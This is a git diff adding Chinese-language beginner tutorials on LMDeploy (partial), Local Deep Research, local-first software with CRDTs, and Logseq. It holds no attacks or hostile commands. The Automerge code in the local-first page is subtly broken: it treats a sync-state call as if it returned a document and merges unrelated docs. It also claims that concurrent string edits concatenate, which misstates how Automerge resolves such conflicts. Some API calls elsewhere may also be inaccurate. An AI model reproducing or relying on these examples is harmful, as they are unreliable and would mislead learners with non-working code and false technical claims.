+- **Paged Attention（分页注意力）**：像操作系统的虚拟内存一样，把 KV Cache 切成小块灵活管理，避免内存浪费。
+
+- **Tensor Parallelism（张量并行）**：把一个大模型拆分到多张显卡上一起算。就像把一个复杂的菜分给两个大厨各做一半。
+
+- **Quantization（量化）**：把模型参数从高精度的 FP16（16 位浮点）压缩到 INT4（4 位整数）。精度降低但速度提升 2.4 倍，同时质量下降很少。
+
+### 2.3 支持模型
+
+LMDeploy 支持超过 80 种模型，包括但不限于：
+
+- **LLM**：Llama 系列、Qwen 系列（含 Qwen3.5）、InternLM 系列、DeepSeek-V3、GPT-OSS 等
+- **VLM（多模态）**：Qwen2-VL、InternVL 系列、LLaVA、Phi-3-Vision 等
+
+## 三、快速上手
+
+### 3.1 安装
+
+```bash
+conda create -n lmdeploy python=3.12 -y
+conda activate lmdeploy
+pip install lmdeploy
+```
+
+从 v0.13.0 开始，PyPI 上的预编译包默认针对 **CUDA 12.8**，直接 `pip install lmdeploy` 即可。
+
+### 3.2 代码示例一：离线批量推理
+
+这是最简单的使用方式。LMDeploy 会自动从 HuggingFace 下载模型并推理：
+
+```python
+from lmdeploy import pipeline
+
+# 创建一个推理管道，自动下载并加载模型
+pipe = pipeline("internlm/internlm3-8b-instruct")
+
+# 一次性发送多条消息（批量推理）
+responses = pipe(["你好，请介绍一下你自己", "上海是"])
+for r in responses:
+    print(r.text)
+```
+
+这里 `pipeline` 是 LMDeploy 的核心 API。它做了很多事情：自动下载模型、初始化引擎、管理 GPU 内存。你只需要传入问题，它就返回答案。
+
+### 3.3 代码示例二：启动 OpenAI 兼容的 API 服务
+
+如果你想把模型变成一个 HTTP 服务，让其他程序调用：
+
+```bash
+# 一行命令启动 API 服务
+lmdeploy serve api_server \
+    internlm/internlm3-8b-instruct \
+    --server-port 23333
+```
+
+启动后，就可以用任何 OpenAI SDK 风格的代码来调用：
+
+```python
+from openai import OpenAI
+
+client = OpenAI(
+    api_key="not-needed",
+    base_url="http://localhost:23333/v1"
+)
+
+response = client.chat.completions.create(
+    model="internlm3-8b-instruct",
+    messages=[
+        {"role": "system", "content": "你是一个 helpful assistant"},
+        {"role": "user", "content": "什么是持续批处理？"}
+    ]
+)
+print(response.choices[0].message.content)
+```
+
+这和调用 ChatGPT API 的代码几乎一模一样——LMDeploy 实现了完整的 OpenAI API 协议。
+
+### 3.4 代码示例三：量化压缩模型
+
+LMDeploy 最强大的功能之一是量化。把 FP16 模型压缩到 INT4，显存占用直接降为原来的 1/4：
+
+```python
+from lmdeploy import compress
+
+# 将模型量化为 INT4 权重 + INT8 KV Cache
+compress(
+    model_name="internlm/internlm3-8b-instruct",
+    quant_policy=4,      # 4-bit 量化策略
+    save_dir="./internlm3-8b-int4"
+)
+```
+
+量化后的模型可以用更少的 GPU 卡运行，甚至在消费级显卡上跑大模型。
+
+## 四、TurboMind 的架构要点
+
+TurboMind 是 LMDeploy 的性能引擎，它的核心架构如下：
+
+1. **CUDA Kernel 层**：用 CUDA C++ 手写高性能算子（Flash Attention、Paged Attention 等），避免 PyTorch 的通用算子开销。
+
+2. **KV Cache 管理层**：用 Paged Attention 机制管理缓存，支持动态分裂与合并（dynamic split & fuse），在连续请求中保持高效。
+
+3. **张量并行层**：通过 NCCL 实现多卡通信，把大模型切分到多张 GPU 上。
+
+4. **调度层**：实现 continuous batching，在 token 生成期间动态插入新请求。
+
+这个分层设计让 TurboMind 在不修改模型代码的前提下，获得显著提升。
+
+## 五、什么时候该用 LMDeploy
+
+- **你想在自己的 GPU 上跑开源大模型**，又不想写复杂推理代码 → 用 `pipeline` API
+- **你想把模型变成 API 服务**，供多人调用 → 用 `api_server` 命令
+- **你的显存不够跑 FP16 模型** → 用量化功能，INT4 能省 75% 显存
+- **你需要高并发低延迟** → TurboMind 引擎 + 持续批处理，QPS 比 vLLM 高 80%
+- **你在做模型实验**，不想写底层 CUDA 代码 → PyTorchEngine 纯 Python，上手简单
+
+## 六、总结
+
+LMDeploy 的核心理念很简单：**让大模型推理变得像安装一个 pip 包一样简单**。
+
+它解决了三个层次的问题：
+
+1. **易用层**：一行代码跑起来，OpenAI 兼容协议
+2. **性能层**：TurboMind 引擎做到极致推理速度
+3. **成本层**：量化让大模型在消费级硬件上也能跑
+
+对于零基础学习者，建议先从 3.2 节的离线推理开始体验，感受一下"让本地 GPU 跑大模型"有多简单。
diff --git a/src/content/docs/projects/local-deep-research.md b/src/content/docs/projects/local-deep-research.md
new file mode 100644
index 000000000..e74fb1bbf
--- /dev/null
+++ b/src/content/docs/projects/local-deep-research.md
@@ -0,0 +1,165 @@
+---
+title: Local Deep Research — 本地运行的大模型研究 Agent
+来源: https://github.com/LearningCircuit/local-deep-research
+日期: 2026-06-13
+分类: 机器学习
+子分类: 模型与训练
+provenance: pipeline-v3
+---
+
+# Local Deep Research — 本地运行的大模型研究 Agent
+
+## 一句话理解
+
+把它想象成请了一位私人研究员：你丢给它一个问题，它自动上网搜索、翻阅学术论文、阅读你的私人文档，最后给你写一份带出处的研究报告。而且整件事运行在你自己的电脑上，数据不外泄。
+
+这个工具叫 Local Deep Research（简称 LDR），是 LearningCircuit 开源的 AI 研究助手。
+
+## 它解决了什么问题
+
+传统使用 AI 研究的流程是：
+1. 你手动在搜索引擎搜几个关键词
+2. 打开几篇论文或网页
+3. 自己读、自己整理、自己写结论
+
+LDR 把这个流程自动化了。它用 LangGraph 构建了一个"自主研究 Agent"——大模型自己决定搜什么、用什么搜索引擎、什么时候停下来开始写报告。
+
+## 核心概念拆解
+
+### 1. 自主研究 Agent（LangGraph Agent Strategy）
+
+这是 LDR 最核心的设计。传统的"搜索+总结"是线性流水线：你给一个问题，系统按固定步骤搜索、阅读、总结。而 LDR 的 Agent 模式像一个人做研究：
+
+```
+你问："什么是量子纠错？"
+  → Agent 先搜 Wikipedia 获取基础概念
+  → 发现不够，又去 arXiv 查最新论文
+  → 读到一半发现需要医学应用方面的信息
+  → 自动切换到 PubMed 搜索
+  → 综合所有信息，写出带引用的报告
+```
+
+它根据每一步的发现，动态决定下一步该搜什么、用什么引擎。
+
+### 2. 多引擎搜索
+
+LDR 支持 10+ 种搜索引擎，分为三类：
+
+- **免费学术引擎**：arXiv（论文）、PubMed（生物医学）、Semantic Scholar
+- **免费通用引擎**：Wikipedia、SearXNG（自托管的隐私搜索引擎）
+- **付费引擎**：Tavily、Google（通过 SerpAPI）
+
+Agent 可以自动切换引擎，比如搜技术问题用 GitHub，搜论文用 arXiv。
+
+### 3. 本地知识库
+
+LDR 有一个"知识图书馆"概念：每次研究找到的好资料可以下载存储到你的私人图书馆。系统自动提取文字、建立索引、做成向量嵌入（embedding）。下次你研究时，它既能搜全网，也能搜你自己的文档库。
+
+```
+研究 → 下载资料 → 存入图书馆 → 索引 & 嵌入 → 搜索你的文档 → 结合搜索结果一起回答
+```
+
+### 4. 隐私与加密
+
+所有数据存在加密的 SQLCipher 数据库里，使用 AES-256 加密。没有遥测、没有分析、没有数据外传。唯一的网络调用是你主动发起的：搜索查询、LLM API 调用。
+
+## 安装与运行
+
+最简单的方式是 Docker Compose（CPU 模式，所有平台都适用）：
+
+```bash
+# 拉取 docker-compose 配置
+curl -O https://raw.githubusercontent.com/LearningCircuit/local-deep-research/main/docker-compose.yml
+
+# 一键启动
+docker compose up -d
+```
+
+启动后打开 http://localhost:5000 就能用。系统会自动拉三个容器：LDR 主程序、Ollama（本地 LLM）、SearXNG（搜索）。
+
+如果用 GPU，再加一个 GPU 配置文件就行。
+
+也可以用 pip 安装：
+
+```bash
+pip install local-deep-research
+python -m local_deep_research.web.app
+```
+
+## 使用示例
+
+### 示例 1：一行代码启动研究
+
+LDR 提供了 Python API，最简单的用法是一行代码搞定：
+
+```python
+from local_deep_research.api import LDRClient, quick_query
+
+# 一行代码做研究
+summary = quick_query("username", "password", "什么是量子计算？")
+print(summary)
+```
+
+这里 `quick_query` 会自动完成搜索、阅读、总结的全过程，返回带引用的摘要。
+
+### 示例 2：用 LangChain 接入自己的知识库
+
+如果你想让 LDR 搜索你的公司内部文档，可以接入 LangChain 的向量检索器：
+
+```python
+from local_deep_research.api import quick_summary
+
+# 用你自己的 LangChain 检索器搜索公司知识库
+result = quick_summary(
+    query="我们的部署流程是什么？",
+    retrievers={"company_kb": 你的向量检索器对象},
+    search_tool="company_kb"
+)
+print(result["summary"])
+```
+
+这让它能同时搜索全网和你自己的 FAISS / Chroma / Pinecone 等向量数据库。
+
+## 关键能力一览
+
+- **三种研究模式**：快速摘要（30秒~3分钟）、详细研究、报告生成（带目录和章节）
+- **20+ 研究策略**：针对快速查事实、深度分析、学术研究各有优化
+- **多种 LLM 支持**：本地用 Ollama / LM Studio / llama.cpp，云端用 OpenAI / Claude / Gemini / OpenRouter（100+ 模型）
+- **MCP Server**：可以直接给 Claude Desktop / Claude Code 使用，让 Claude 帮你做深度研究
+- **HTTP API**：带认证和 CSRF 保护的 REST API
+- **导出格式**：PDF 和 Markdown
+- **订阅功能**：可以订阅某个话题，定期收到 AI 生成的研究报告
+
+## 性能表现
+
+LDR 在公开基准测试上表现突出。使用 `langgraph-agent` 策略 + 本地 Qwen3.6-27B 模型跑在单张 RTX 3090 上：
+
+| 模型 | SimpleQA | xbench-DeepSearch |
+|------|----------|-------------------|
+| Qwen3.6-27B | 95.7% | 77.0% |
+| Qwen3.5-9B  | 91.2% | 59.0% |
+| gpt-oss-20B | 85.4% | – |
+
+这是目前公开可复现的、在消费级硬件上最好的本地深度研究结果之一。
+
+## 技术架构要点
+
+- **框架**：LangGraph 构建研究 Agent 的循环决策逻辑
+- **搜索**：集成 10+ 搜索引擎，Agent 自动选择
+- **LLM**：支持所有 OpenAI 兼容的 API（本地或云端）
+- **数据库**：SQLCipher 加密的 SQLite，每用户独立隔离
+- **前端**：Vite + React 的 Web UI
+- **后端**：Python（FastAPI 风格），使用 PDM 做包管理
+- **部署**：Docker / Docker Compose / pip，支持 Linux / macOS / Windows
+
+## 总结
+
+LDR 的核心价值是"把深度研究的能力本地化"。它不是一个简单的搜索工具，而是一个能自主规划、动态调整搜索策略、最终产出结构化研究报告的研究 Agent。对于需要频繁做研究、写报告、或者重视数据隐私的人来说，它提供了一种不需要依赖外部云服务的全新方式。
+
+## 延伸阅读
+
+- GitHub 仓库：https://github.com/LearningCircuit/local-deep-research
+- Docker Compose 指南：docs/docker-compose-guide.md
+- 安装参考：docs/installation.md
+- 配置参考：docs/CONFIGURATION.md
+- 社区基准测试：https://huggingface.co/datasets/local-deep-research/ldr-benchmarks
diff --git a/src/content/docs/projects/local-first-2026-revisit.md b/src/content/docs/projects/local-first-2026-revisit.md
new file mode 100644
index 000000000..b55f01064
--- /dev/null
+++ b/src/content/docs/projects/local-first-2026-revisit.md
@@ -0,0 +1,192 @@
+---
+title: Local-First Software 五年回顾：从零开始理解数据归属
+来源: https://www.inkandswitch.com/local-first/2026-revisit/
+日期: 2026-06-13
+分类: 分布式系统
+子分类: 共识与复制
+provenance: pipeline-v3
+---
+
+## 一、一个日常类比：你的笔记在谁的本子上？
+
+想象一下，你每天用一款笔记 App 写东西。
+
+**云端模式（像 Google Docs）**：你的笔记写在公司的本子上，笔也归公司管。只要公司开门（服务器在线），你就能写、能读、能和同事一起改。但如果公司倒闭了、服务器关掉了，你的笔记就再也打不开了——因为本子不在你手里。
+
+**本地优先模式（Local-First）**：你的笔记首先写在你自己的笔记本上。断网了？照样写。想删就删。同时，如果你愿意，笔记本可以自动和队友的副本同步。即使将来没有服务器了，你的笔记依然在你手里。
+
+Local-First 就是要让软件从"云端优先"转向"本地优先"：**数据首先存在你的设备上，服务器只是帮忙同步的助手，而不是数据的主人。**
+
+这篇文章出自 Ink & Switch 实验室 2019 年的经典论文，而今天（2026 年）回头看，这场运动已经走出了实验室，进入了真正的生产环境。
+
+---
+
+## 二、为什么需要 Local-First？
+
+Ink & Switch 提出了一个"评分卡"，从七个维度评估一款软件：
+
+| 维度 | 说明 |
+|------|------|
+| 1. 快速 | 打开即用，没有等待加载的 spinner |
+| 2. 多设备 | 手机、电脑、平板之间同步 |
+| 3. 离线可用 | 断网也能正常工作 |
+| 4. 协作 | 多人同时编辑不冲突 |
+| 5. 持久性 | 即使公司倒闭，软件和数据还能用 |
+| 6. 隐私 | 数据不被公司或政府随意查看 |
+| 7. 用户控制权 | 用户可以备份、导出、删除自己的数据 |
+
+2019 年时，没有一款软件能在七个维度都拿满分。今天依然如此——但差距正在缩小。
+
+### 传统方案的缺陷
+
+- **纯云端应用**（Google Docs、Trello）：在 1、2、4 上表现好，但 3、5、6、7 全红。服务器一关，什么都没了。
+- **Firebase / CloudKit**：多设备同步和离线支持不错，但数据仍然掌握在 Google 或 Apple 手里，持久性差。
+- **CouchDB / PouchDB**：理念很接近 Local-First，但冲突解决太难写，开发者容易出错。
+
+---
+
+## 三、核心技术：CRDT（无冲突复制数据类型）
+
+这是 Local-First 运动最重要的技术发明。
+
+### 什么是 CRDT？
+
+**日常类比**：想象你和朋友各自在一张纸上写购物清单。你加了"牛奶"，朋友加了"鸡蛋"。你们碰一下头，两张清单就合二为一了——没有冲突，因为你们写的不一样。
+
+CRDT 就是让电脑也能做这种事：**多个设备各自修改数据，同步时自动合并，不会产生需要手动解决的冲突。**
+
+2019 年的论文提到，Ink & Switch 为此开发了 Automerge——一个 JavaScript 的 CRDT 实现。到 2026 年，Automerge 已经进化到 3.x 版本，被多个生产级项目采用。
+
+### 代码示例一：用 Automerge 创建一个协作待办清单
+
+```javascript
+import * as Automerge from '@automerge/automerge'
+
+// 创建一个空的文档
+let doc = Automerge.from({
+  tasks: []
+})
+
+// 在设备 A 上添加一个任务
+doc = Automerge.change(doc, 'Add task', d => {
+  d.tasks.push({ text: '学习 CRDT', done: false })
+})
+
+// 在设备 B 上同时完成同一个任务
+// （假设设备 B 复制了设备 A 的初始状态）
+let docB = Automerge.sync.syncState(doc)
+// 模拟器之间的网络交换...
+let docASynced = Automerge.merge(doc, docB)
+
+// 结果：两个设备看到相同的、合并后的待办清单
+// 不需要任何手动冲突解决
+```
+
+**关键点**：你写的代码和平时写普通的 JavaScript 对象几乎一模一样。CRDT 在幕后自动处理了同步和合并。
+
+### 代码示例二：实时同步两个设备的状态
+
+```javascript
+import * as Automerge from '@automerge/automerge'
+import * as AutomergeNet from '@automerge/automerge-net'
+
+// 模拟两台设备
+let docA = Automerge.from({ message: '你好' })
+let docB = Automerge.from({ message: '你好' })
+
+// 设备 A 修改了消息
+docA = Automerge.change(docA, 'Update message', d => {
+  d.message = 'Hello from device A!'
+})
+
+// 设备 B 也修改了消息（并发）
+docB = Automerge.change(docB, 'Update message', d => {
+  d.message = 'Hello from device B!'
+})
+
+// 合并两个文档——CRDT 自动处理冲突
+// 对于字符串，Automerge 保留两个值并排显示
+let merged = Automerge.merge(docA, docB)
+console.log(merged.message)
+// 输出: "Hello from device A!Hello from device B!"
+```
+
+**关键点**：当两个人同时修改同一个地方时，CRDT 不会丢数据，也不会崩溃。它把两边的修改都保留下来，让应用决定怎么展示。
+
+---
+
+## 四、五年回顾：2019 → 2026
+
+### 进展
+
+**1. CRDT 从论文变成了产品**
+
+2019 年的论文说"CRDT 理论成立，但工业界几乎没有人在用"。到 2026 年：
+
+- Automerge（Ink & Switch 开发）已经是成熟的生产级库
+- Yjs（另一个 CRDT 库）被 CodeMirror 6 和许多编辑器采用
+- CRDT 被用在 Notion 竞品、Figma 竞品、笔记应用等多个领域
+- Automerge 推出了 Automerge-Net 作为远程同步协议
+
+**2. 开发者体验大幅改善**
+
+2019 年的论文指出，CRDT 的最大挑战是"让普通开发者能用"。现在：
+
+- `@automerge/automerge` 的 API 和 JavaScript 对象几乎一样
+- 和 React 的响应式模型天然兼容（论文预言了这一点，后来被 React 社区验证）
+- 类型安全支持（TypeScript）已完善
+
+**3. 生态系统在壮大**
+
+- 2025 年举办了首届 Local-First Conf 会议
+- Automerge 有了独立网站 automerge.org
+- Ink & Switch 实验室更名为 Tenfold（2026 年庆祝成立十周年）
+- Keyhive 项目为 Local-First 应用加了访问控制
+
+### 挑战依然存在
+
+**1. 数据量增长问题**
+
+CRDT 会记录每一次修改的历史。如果两个用户协同编辑一个大型文档数月，历史会越来越大。2019 年论文提到的 PushPin 原型就遇到了这个问题。到 2026 年，Automerge 仍在优化压缩和合并策略，但"历史膨胀"仍未彻底解决。
+
+**2. 网络通信仍是难题**
+
+2019 年论文测试了 WebRTC、Dat 协议、IPFS 等多种 P2P 方案。结果都不完美：NAT 穿透不可靠、连接不稳定。到 2026 年，这个问题依然没有标准答案——这也是为什么 Automerge-Net 选择了"有服务器辅助的 P2P"这种混合方案。
+
+**3. "服务器完全消失"是个幻觉**
+
+2019 年论文最初设想 P2P 就够了。后来他们发现，如果两个人同时在线才能同步，那一个人关机了就无法协作。所以"云端对等节点"（cloud peer）仍然有存在价值——只是角色从"数据主人"变成了"数据传输助手"。
+
+---
+
+## 五、给零基础学习者的行动建议
+
+如果你正在开发一款应用，可以从这些小事开始向 Local-First 靠拢：
+
+1. **用本地存储做第一优先级**：不管有没有网络，先读本地的数据
+2. **支持离线操作**：关掉 WiFi 测试你的 App，看看会不会出现 spinner 和错误
+3. **允许数据导出**：用户可以一键导出 JSON 或 PDF，就像 Google Takeout 那样
+4. **预加载资源**：不要让用户等网络响应，先把数据下载到本地
+5. **如果要做协作**：看看 Automerge 或 Yjs，别自己造轮子
+
+---
+
+## 六、核心概念总结
+
+| 概念 | 一句话解释 |
+|------|-----------|
+| Local-First | 数据首先存在用户的设备上，而不是服务器上 |
+| CRDT | 让多台设备的数据自动合并、无需手动解决冲突的数据结构 |
+| Automerge | Ink & Switch 开发的 JavaScript CRDT 库 |
+| 乐观 UI | 不等待服务器确认，先在本地显示结果 |
+| 云端对等节点 | 服务器不作为数据主人，只做传输和备份的辅助角色 |
+| 持久性 | 软件和数据不依赖任何特定公司的存活 |
+
+---
+
+## 七、延伸阅读
+
+- Automerge 官方文档：https://automerge.org/docs/hello
+- Ink & Switch 实验室页面：https://www.inkandswitch.com/local-first-software
+- Local-First Conf 2026：https://www.localfirstconf.com
+- Automerge GitHub：https://github.com/automerge/automerge
diff --git a/src/content/docs/projects/logseq.md b/src/content/docs/projects/logseq.md
new file mode 100644
index 000000000..cd2c6a0db
--- /dev/null
+++ b/src/content/docs/projects/logseq.md
@@ -0,0 +1,258 @@
+---
+title: Logseq — 块结构离线知识库
+来源: https://github.com/logseq/logseq
+日期: 2026-06-13
+子分类: 编辑器与 IDE
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 日常类比：把大脑里的「念头清单」变成可搜索、可连线的知识网
+
+想象你在开会时随手记 bullet：每一行是一个想法，按 Tab 缩进表示「这条属于上一条」；某几个词你圈出来，表示「以后还要专门写一页讲它」。会后你不只是翻那一页纸，还想问：**「所有提到张三、又和预算有关的地方在哪？」**
+
+传统 Word 文档像一篇长作文——改结构要剪切粘贴。**Logseq 像一叠可无限嵌套的索引卡片**：每一行（块）有唯一编号，卡片之间用 `[[页面名]]` 和 `((块编号))` 互相指向；你缩进层级、打标签、写属性，软件在本地帮你维护一张 **知识图谱**，并可用查询把符合条件的卡片「捞」出来。
+
+Logseq 是开源的 **隐私优先** 知识管理与协作平台（[logseq/logseq](https://github.com/logseq/logseq)），桌面端把笔记存成 **Markdown 或 Org-mode 纯文本**（默认在本地文件夹），离线可用、数据归你；同时提供 PDF 批注、任务管理（TODO/DOING/DONE）、白board、插件与主题生态。零基础路径：**安装 → 选本地图目录 → 写 Journal 日记 → 用 Tab 缩进与 `[[链接]]` → 打开 Linked References → 试一条简单 query**。
+
+---
+
+## 这个项目解决什么问题
+
+### 痛点 1：文件夹式笔记「只能按路径找」，联想路径断了
+
+按 `2024/项目A/meeting.md` 归档，三个月后你记得讨论过「缓存策略」，却想不起在哪个文件夹。Logseq 用 **双向链接**：你在任意块里写 `[[缓存策略]]`，该页面会自动出现 **Linked References**（谁链到了我），网状检索补全「我当时从哪条思路链过来的」。
+
+### 痛点 2：大纲编辑器与 Markdown 文件各走各路
+
+很多大纲工具数据锁在专有格式里。Logseq **块在 UI 里编辑，落盘仍是 .md/.org**，可用 Git 版本管理、用任意编辑器打开，避免供应商锁定。
+
+### 痛点 3：任务、日记、文献笔记分散在三个 App
+
+Logseq 在同一张图里用 **Journal（日记页）** 捕获流水账，用 **TODO 块** 跟踪任务，用 **属性（property）** 给书摘、项目页加结构化字段，再用 **query** 汇总「本周 DOING 且优先级 A」——减少工具切换。
+
+### 痛点 4：需要离线、可控的个人知识库
+
+笔记默认存在本机 graph 目录，不依赖持续联网。官方强调 longevity 与 user control；进阶用户还可通过插件 API（[plugins-doc.logseq.com](https://plugins-doc.logseq.com)）扩展。新版本另有 **DB graph**（SQLite + 更强查询/同步），与经典 **文件 graph** 并存，入门可先只关心文件版。
+
+---
+
+## 核心概念拆解
+
+### 1. Graph（图）与工作区
+
+一个 **graph** 是一整套相互链接的笔记数据。首次启动时选择或新建文件夹作为 graph 根目录；其中 `pages/`、`journals/`、`logseq/` 等子目录由软件维护。**换电脑时拷贝整个文件夹 + 用同版本 Logseq 打开**，即迁移完成。
+
+### 2. Block（块）——最小信息单元
+
+Logseq 里 **一切皆块**：日记里的一行 bullet、页面标题下的第一条、任务项、属性行，都是 block。每个块有 **UUID**，可用 `((uuid))` 精确引用，不怕改文字后链接失效。
+
+块通过 **缩进（Tab / Shift+Tab）** 形成父子树；**子块会继承父块中的页面引用与标签**（属性不继承），这是简单查询能「沿结构搜到深层内容」的关键。
+
+### 3. Page（页面）与 Journal（日记）
+
+- **Page**：主题容器，用 `[[页面名]]` 引用时若不存在会自动创建。
+- **Journal**：按日期自动生成的日记页（类似 Daily Note），适合 inbox 与当日日志。
+
+页面与日记在文件 graph 里最终都对应 Markdown/Org 文件；在 UI 里体验一致。
+
+### 4. 链接、标签与嵌入
+
+| 机制 | 语法 | 作用 |
+|------|------|------|
+| 页面链接 | `[[Logseq]]` | 连到页面，产生双向 Linked References |
+| 块引用 | `((block-uuid))` | 指向具体一块，内容更新后引用处同步 |
+| 标签 | `#tag` 或 `#[[多词标签]]` | 跨页面分类，可进图谱筛选 |
+| 页面嵌入 | `{{embed [[某页]]}}` | 把整页内容嵌进当前块下 |
+| 块嵌入 | `{{embed ((uuid))}}` | 嵌入某块及其子块 |
+
+### 5. Properties（属性）
+
+在块上写 `键:: 值` 形成结构化元数据，例如 `author:: [[Alan Kay]]`、`type:: book`。页面级属性通常放在页面 **第一个块**（类似 frontmatter）。属性可用于 **简单查询** `(property type book)`，并在结果里表格化展示。
+
+### 6. 任务（Task）状态
+
+块首可用 `TODO` / `DOING` / `DONE` / `WAITING` 等标记（可配置）。配合 `priority:: A` 与 query，可建项目看板，而不必另开任务 App。
+
+### 7. 查询（Query）
+
+- **简单查询**：`(and [[项目X]] TODO)`，适合日常过滤。
+- **高级查询**：`#+BEGIN_QUERY` … `#+END_QUERY`，内写 Datalog 风格规则，可统计、聚合、自定义逻辑（见官方 [Advanced Queries](https://github.com/logseq/docs/blob/master/pages/Advanced%20Queries.md)）。
+
+### 8. 配置 `config.edn`
+
+`logseq/config.edn` 是 graph 级 Clojure 风格配置（EDN），控制默认模板、快捷键、属性行为、journal 格式等；改完后在 Logseq 里重载配置生效。
+
+### 9. Logseq 不是什么
+
+它不是传统文件夹式 CMS，也不是 Excel 式表格数据库；**强项是块级链接 + 大纲 + 本地文本**，复杂报表级 SQL 分析仍应导出到专用工具。入门时应用好缩进、链接、日记与简单 query，比一上来写 Datalog 更重要。
+
+---
+
+## 安装与第一次打开
+
+### 桌面端（推荐入门）
+
+1. 打开 [GitHub Releases](https://github.com/logseq/logseq/releases) 下载 macOS / Windows / Linux 安装包。
+2. 首次启动选择 **Create a new graph**，指定空文件夹（建议放在已做 Time Machine / Git 备份的位置）。
+3. 设置 → **Editor**：确认 preferred format 为 **Markdown**（或 Org，二选一为主）。
+4. 点击左侧 **Journals**，在今日页输入第一行块，试 `Tab` 缩进与 `[[我的第一个概念]]`。
+5. 打开刚链接的页面，查看底部 **Linked References** 是否出现来自日记的回链。
+
+### 可选：命令行
+
+仓库内维护 CLI 文档（`docs/cli/logseq-cli.md`），适合脚本化导出或与自动化工作流集成；零基础可跳过。
+
+---
+
+## 代码示例 1：块结构 Markdown 笔记（文件 graph 落盘形态）
+
+下面模拟 graph 里 `pages/间隔重复.md` 在磁盘上的大致样子（Logseq 会自动补 UUID 与缩进，此处为便于阅读的简化示意）：
+
+```markdown
+- type:: [[permanent-note]]
+  tags:: learning, pkm
+- # 间隔重复与图谱笔记解决不同问题
+- 间隔重复优化 **记忆保持**；块结构图谱（Logseq）优化 **关系发现**。
+  - 二者互补：闪卡适合事实，图谱适合假设与项目脉络。
+- ## 关联
+  - 上游：[[Zettelkasten]]、[[Building a Second Brain]]
+  - 工具：[[Logseq]] vs [[Obsidian]] — 我更需要 **大纲 + 块引用** 与 **本地 md**
+  - 待写：[[如何把 Anki 卡片链回文献块]]
+- ## 来源
+  - 摘自 [[book-make-it-stick-2014]] 第 2 章
+    id:: 63bc5e11-24f1-45fd-945d-4a272e5ecf0d
+```
+
+**阅读要点：**
+
+- 每行以 `-` 开头即一块；子块多一级缩进。
+- `type::`、`tags::` 是属性；`[[书]]` 在属性值里也会变成页面链接。
+- 带 `id::` 的块可被 `((63bc5e11-24f1-45fd-945d-4a272e5ecf0d))` 引用（实际 UUID 以软件生成为准）。
+- 在 UI 中打开 [[间隔重复]] 时，Linked References 会列出所有提到它的块。
+
+---
+
+## 代码示例 2：Journal 捕获 + 简单查询块
+
+### 今日 Journal 片段（输入在 Logseq 编辑器内）
+
+```markdown
+- TODO 整理 [[Logseq]] 学习笔记 #study
+  priority:: A
+  scheduled:: 20260613
+- 会议 [[项目 Phoenix]]
+  - 讨论 [[缓存策略]]：读多写少，先上 [[Redis]]
+  - DOING 写一页 [[Phoenix 性能基线]] 的测试清单
+- 读 [[论文 Logseq 块模型]] 摘要
+  type:: literature
+  author:: [[某作者]]
+```
+
+### 嵌入页面的简单查询（查询本身也是一块）
+
+在任意页面插入下面块，Logseq 会动态列出匹配块：
+
+```markdown
+- {{query (and (todo TODO) (priority A))}}
+```
+
+再进阶一点——统计当前页块数量（高级 query，摘自官方文档模式）：
+
+```markdown
+#+BEGIN_QUERY
+{:title "当前页面的块数量"
+ :query [:find (count ?b)
+         :in $ ?current-page
+         :where
+         [?p :block/name ?current-page]
+         [?b :block/page ?p]]
+ :inputs [:current-page]}
+#+END_QUERY
+```
+
+**阅读要点：**
+
+- `(todo TODO)` 过滤任务行；与 `(priority A)` 用 `and` 组合。
+- 子块上的 `[[项目 Phoenix]]` 会因 **继承** 出现在项目页的 Linked References 里。
+- `(property type literature)` 可单独筛文献类块；属性 **不会** 继承到子块，适合精确筛选。
+- 高级 query 用 `inputs [:current-page]` 表示「在当前页上下文中计数」。
+
+---
+
+## 代码示例 3：`logseq/config.edn` 片段（可选定制）
+
+```clojure
+{:preferred-format :markdown
+ :journal/page-name-format "yyyy-MM-dd"
+ :journal/file-name-format "yyyy_MM_dd"
+ :feature/enable-block-timestamps? true
+ :default-templates
+ {:j "---
+  tags:: journal
+  ---"
+  :p "type:: project\nstatus:: active"}
+ :property-pages/enabled? true}
+```
+
+说明：`:default-templates` 里 `:j` / `:p` 可给日记与新页注入默认属性；时间戳开关便于回顾「何时写了这块」。修改前建议备份整个 graph 目录。
+
+---
+
+## 推荐工作流（零基础 7 天）
+
+| 天 | 动作 | 目标 |
+|----|------|------|
+| 1 | 只写 Journal，不写页面 | 熟悉块、缩进、TODO |
+| 2 | 把重复出现的词改成 `[[页面]]` | 感受 Linked References |
+| 3 | 用 `#tag` 标记 3 个主题 | 图谱里按 tag 浏览 |
+| 4 | 给书摘块加 `author::` / `type::` | 理解 property |
+| 5 | 复制块引用 `((uuid))` 到综述页 | 块级复用 |
+| 6 | 写一条 `(and [[某项目]] TODO)` | 简单 query |
+| 7 | 整个 graph 文件夹进 Git 私有库 | 备份与版本习惯 |
+
+---
+
+## 与相近工具对比（简表）
+
+| 维度 | Logseq | Obsidian | Roam Research |
+|------|--------|----------|---------------|
+| 核心单元 | 块 + 大纲 | 文件 + 可选块 | 块 |
+| 本地纯文本 | ✅ md/org | ✅ md | ❌ 云端为主 |
+| 大纲编辑 | 原生 | 需插件 | 原生 |
+| 离线 | ✅ | ✅ | 有限 |
+| 开源 | ✅ | 闭源免费 | 闭源订阅 |
+
+若你已在 VS Code 用 Foam 写 wikilink，迁移时可 **导入现有 md 文件夹为 graph**，再逐步把长文档拆成块与缩进结构。
+
+---
+
+## 常见问题
+
+**Q：块和页面到底是什么关系？**  
+页面是命名空间；页面上每一行（含标题下第一块）仍是块。日记页也是特殊页面。
+
+**Q：删块会影响引用吗？**  
+被 `((uuid))` 引用的块删除后，引用处会失效；习惯上可改为 `DONE` 或移到归档页，而非硬删。
+
+**Q：文件 graph 和 DB graph 选哪个？**  
+学习笔记、本地 Git 备份优先选 **经典文件 graph**；需要移动端 RTC 同步、强类型属性时再了解 DB 版（见官方 DB 文档）。
+
+**Q：数据存在哪？**  
+创建 graph 时选的目录；macOS 常见在 `~/Library/Mobile Documents/iCloud~...` 若你放在 iCloud，注意同步冲突，重要 graph 建议 Git。
+
+---
+
+## 延伸资源
+
+- 官方文档：[docs.logseq.com](https://docs.logseq.com)
+- 社区文档仓库：[logseq/docs](https://github.com/logseq/docs)（Properties、Advanced Queries 等）
+- 插件开发：[plugins-doc.logseq.com](https://plugins-doc.logseq.com)
+- 发布与路线图：[logseq.io](https://logseq.io) / [GitHub Releases](https://github.com/logseq/logseq/releases)
+- 讨论区：[discuss.logseq.com](https://discuss.logseq.com)（块继承、查询模式有大量实战帖）
+
+---
+
+## 小结
+
